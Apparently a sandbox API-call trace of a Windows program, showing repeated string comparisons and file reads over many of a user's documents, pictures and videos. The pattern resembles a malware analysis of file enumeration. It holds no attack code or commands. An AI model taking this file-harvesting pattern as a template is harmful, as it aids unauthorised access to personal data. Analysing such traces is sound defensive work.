[0079.532] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/desktop/kxnvh5qb%20v.xlsx") returned -1
[0079.532] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/desktop/rthnmpt4.flv") returned -1
[0079.532] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/h8t9gaqgi.csv") returned -1
[0079.532] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/hqgdu8.xlsx") returned -1
[0079.532] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/desktop/o_m4tlnnqh_j6l.flv") returned -1
[0079.532] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/limz5v.csv") returned -1
[0079.532] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/ywyoxuxawfnzgqi3r.pptx") returned -1
[0079.532] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/4qaggwk3%20all.doc") returned -1
[0079.533] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/pg%20vt.swf") returned -1
[0079.533] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/videos/rtshl9p-.flv") returned -1
[0079.533] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/appdata/roaming/k5kcsxnzz586a.mkv") returned -1
[0079.533] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/pktpgto-.odp") returned -1
[0079.533] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/db%20t5t-sbxsujrv0c.flv") returned -1
[0079.533] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/p_8z9o.odp") returned -1
[0079.533] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/t1kkmdu3tofb.bmp") returned -1
[0079.533] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/desktop/uezrn08sfabq3k36bwj.png") returned -1
[0079.533] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/videos/josiaz/sfxq3ziiymv14cjiyaox.flv") returned -1
[0079.533] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/appdata/roaming/j_52vz9ulujpr%205aiz.jpg") returned -1
[0079.533] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/ncs6ha0jwetbuz.jpg") returned -1
[0079.533] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/desktop/4%20u_4u6ls4.ods") returned -1
[0079.533] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/jfci.jpg") returned -1
[0079.533] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/-hs5z7.mkv") returned -1
[0079.533] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/desktop/ihug/t1qoetz4ekzwcx.pps") returned -1
[0079.533] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/g7ihxxpwmul67ynxwjuy.odp") returned -1
[0079.533] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hgxqnnq3mleakolmso.jpg") returned -1
[0079.533] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png") returned -1
[0079.533] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/tghk.docx") returned -1
[0079.533] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/pictures/gfqdbs7ski.jpg") returned -1
[0079.533] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/j0tfq.pptx") returned -1
[0079.533] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/desktop/n85nf82ijuqriwibubvc/dxoeo.jpg") returned -1
[0079.533] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/mpvc3rk.swf") returned -1
[0079.533] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/o0jasu4fw456esf.gif") returned -1
[0079.533] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/desktop/numnzhof36r.png") returned -1
[0079.533] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/pictures/eqeagiu6sfywa.gif") returned -1
[0079.534] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/appdata/roaming/qffjmw5qb0hkk.odp") returned -1
[0079.534] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/desktop/n85nf82ijuqriwibubvc/gfs_u1.bmp") returned -1
[0079.534] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/po5dzd.png") returned -1
[0079.534] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/6%20%20ld0epzn54nf6f62.pdf") returned -1
[0079.534] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/db_m.pptx") returned -1
[0079.534] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/desktop/ihug/5vgrnxxmt0.jpg") returned -1
[0079.534] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/pictures/ns6oxgxy5z4yhi.gif") returned -1
[0079.534] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/jdiiemseuyip28.xlsx") returned -1
[0079.534] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/thid1s161xflbvs1qvby.mkv") returned -1
[0079.534] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/sq4zs.odt") returned -1
[0079.534] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hvddhydd.gif") returned -1
[0079.534] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/bscqw.odt") returned -1
[0079.534] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/81snq.bmp") returned -1
[0079.534] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/pictures/mso-zv%20iw0fbw4-p3v.bmp") returned -1
[0079.534] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/wozzxzbxqscnly17n0.xlsx") returned -1
[0079.534] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/desktop/8cb1qu.gif") returned -1
[0079.534] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/appdata/roaming/3adm.jpg") returned -1
[0079.534] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/rxgmrbg_.ppt") returned -1
[0079.534] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/appdata/roaming/1c5hjvxp_vir2ayss.ots") returned -1
[0079.534] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/videos/josiaz/nbjtuf2im6kaee-b8aa.mkv") returned -1
[0079.534] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/qsv5elm1q.png") returned -1
[0079.534] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/onhdsbrjgnrmzx3mz49l.bmp") returned -1
[0079.534] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/7u7fb7ebk.swf") returned -1
[0079.534] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/h6qwun0ie2g6emvh.pps") returned -1
[0079.534] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/iptjr58c5o.png") returned -1
[0079.534] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/ocvzc9iyipvo8cnf.pptx") returned -1
[0079.535] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/hvazibcrv6_z.pps") returned -1
[0079.535] SetFilePointer (in: hFile=0xa0, lDistanceToMove=20992, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5200
[0079.535] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.535] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.535] SetFilePointer (in: hFile=0xa0, lDistanceToMove=20992, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5200
[0079.535] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.535] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/Vfr7MWb/F-PlN0i.ots" | out: _Str="file:///c:/users/atveydl98z/desktop/vfr7mwb/f-pln0i.ots") returned="file:///c:/users/atveydl98z/desktop/vfr7mwb/f-pln0i.ots"
[0079.535] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/vfr7mwb/f-pln0i.ots") returned 56
[0079.535] SetFilePointer (in: hFile=0xa0, lDistanceToMove=21248, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5300
[0079.535] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.535] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.535] SetFilePointer (in: hFile=0xa0, lDistanceToMove=21248, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5300
[0079.535] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.535] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/12mW6YtVWOd4.docx" | out: _Str="file:///c:/users/atveydl98z/desktop/12mw6ytvwod4.docx") returned="file:///c:/users/atveydl98z/desktop/12mw6ytvwod4.docx"
[0079.535] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/12mw6ytvwod4.docx") returned 54
[0079.536] SetFilePointer (in: hFile=0xa0, lDistanceToMove=21504, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5400
[0079.536] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.536] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.536] SetFilePointer (in: hFile=0xa0, lDistanceToMove=21504, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5400
[0079.536] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.536] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Videos/E1c36Poz%20yfNM5.mkv" | out: _Str="file:///c:/users/atveydl98z/videos/e1c36poz%20yfnm5.mkv") returned="file:///c:/users/atveydl98z/videos/e1c36poz%20yfnm5.mkv"
[0079.536] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/videos/e1c36poz%20yfnm5.mkv") returned 56
[0079.536] SetFilePointer (in: hFile=0xa0, lDistanceToMove=21760, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5500
[0079.536] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.536] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.536] SetFilePointer (in: hFile=0xa0, lDistanceToMove=21760, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5500
[0079.536] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.536] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/Z%20EV6VVIkcz7Oa.jpg" | out: _Str="file:///c:/users/atveydl98z/pictures/z%20ev6vvikcz7oa.jpg") returned="file:///c:/users/atveydl98z/pictures/z%20ev6vvikcz7oa.jpg"
[0079.536] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/z%20ev6vvikcz7oa.jpg") returned 58
[0079.537] SetFilePointer (in: hFile=0xa0, lDistanceToMove=22016, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5600
[0079.537] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.537] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.537] SetFilePointer (in: hFile=0xa0, lDistanceToMove=22016, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5600
[0079.537] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.537] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/AppData/Roaming/I%209j2-jQhG2nsO1Jp.docx" | out: _Str="file:///c:/users/atveydl98z/appdata/roaming/i%209j2-jqhg2nso1jp.docx") returned="file:///c:/users/atveydl98z/appdata/roaming/i%209j2-jqhg2nso1jp.docx"
[0079.537] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/appdata/roaming/i%209j2-jqhg2nso1jp.docx") returned 69
[0079.537] SetFilePointer (in: hFile=0xa0, lDistanceToMove=22272, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5700
[0079.537] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.537] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.537] SetFilePointer (in: hFile=0xa0, lDistanceToMove=22272, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5700
[0079.537] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.537] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/vAkUFlQ4t/DuNmHbeBMli9.odp" | out: _Str="file:///c:/users/atveydl98z/documents/vakuflq4t/dunmhbebmli9.odp") returned="file:///c:/users/atveydl98z/documents/vakuflq4t/dunmhbebmli9.odp"
[0079.537] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/vakuflq4t/dunmhbebmli9.odp") returned 65
[0079.537] SetFilePointer (in: hFile=0xa0, lDistanceToMove=22528, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5800
[0079.537] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.537] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.538] SetFilePointer (in: hFile=0xa0, lDistanceToMove=22528, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5800
[0079.538] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.538] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/8mDa7EUxWIFuAV/_ZrIQiqZdCdzwkR/HQX_F0EUtGOG0%20oMlrKY.jpg" | out: _Str="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hqx_f0eutgog0%20omlrky.jpg") returned="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hqx_f0eutgog0%20omlrky.jpg"
[0079.538] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hqx_f0eutgog0%20omlrky.jpg") returned 95
[0079.538] SetFilePointer (in: hFile=0xa0, lDistanceToMove=22784, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5900
[0079.538] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.538] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.538] SetFilePointer (in: hFile=0xa0, lDistanceToMove=22784, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5900
[0079.538] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.538] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/E79-i.png" | out: _Str="file:///c:/users/atveydl98z/desktop/e79-i.png") returned="file:///c:/users/atveydl98z/desktop/e79-i.png"
[0079.538] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/e79-i.png") returned 46
[0079.538] SetFilePointer (in: hFile=0xa0, lDistanceToMove=23040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5a00
[0079.538] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.538] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.538] SetFilePointer (in: hFile=0xa0, lDistanceToMove=23040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5a00
[0079.538] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.538] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/vAkUFlQ4t/FeTgDD8UmyWfrmFGr.csv" | out: _Str="file:///c:/users/atveydl98z/documents/vakuflq4t/fetgdd8umywfrmfgr.csv") returned="file:///c:/users/atveydl98z/documents/vakuflq4t/fetgdd8umywfrmfgr.csv"
[0079.539] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/vakuflq4t/fetgdd8umywfrmfgr.csv") returned 70
[0079.539] SetFilePointer (in: hFile=0xa0, lDistanceToMove=23296, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5b00
[0079.539] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.539] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.539] SetFilePointer (in: hFile=0xa0, lDistanceToMove=23296, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5b00
[0079.539] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.539] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Videos/aUcHwAavvK9r/S2ez7rzQ7SrrH.swf" | out: _Str="file:///c:/users/atveydl98z/videos/auchwaavvk9r/s2ez7rzq7srrh.swf") returned="file:///c:/users/atveydl98z/videos/auchwaavvk9r/s2ez7rzq7srrh.swf"
[0079.539] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/videos/auchwaavvk9r/s2ez7rzq7srrh.swf") returned 66
[0079.539] SetFilePointer (in: hFile=0xa0, lDistanceToMove=23552, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5c00
[0079.539] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.539] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.539] SetFilePointer (in: hFile=0xa0, lDistanceToMove=23552, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5c00
[0079.539] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.539] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/8mDa7EUxWIFuAV/_ZrIQiqZdCdzwkR/T_iEqztU.bmp" | out: _Str="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/t_ieqztu.bmp") returned="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/t_ieqztu.bmp"
[0079.539] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/t_ieqztu.bmp") returned 81
[0079.539] SetFilePointer (in: hFile=0xa0, lDistanceToMove=23808, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5d00
[0079.540] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.540] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.540] SetFilePointer (in: hFile=0xa0, lDistanceToMove=23808, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5d00
[0079.540] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.540] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/AppData/Roaming/1T8pA5NkyKOTCg.swf" | out: _Str="file:///c:/users/atveydl98z/appdata/roaming/1t8pa5nkykotcg.swf") returned="file:///c:/users/atveydl98z/appdata/roaming/1t8pa5nkykotcg.swf"
[0079.540] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/appdata/roaming/1t8pa5nkykotcg.swf") returned 63
[0079.540] SetFilePointer (in: hFile=0xa0, lDistanceToMove=24064, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5e00
[0079.540] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.540] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.540] SetFilePointer (in: hFile=0xa0, lDistanceToMove=24064, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5e00
[0079.540] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
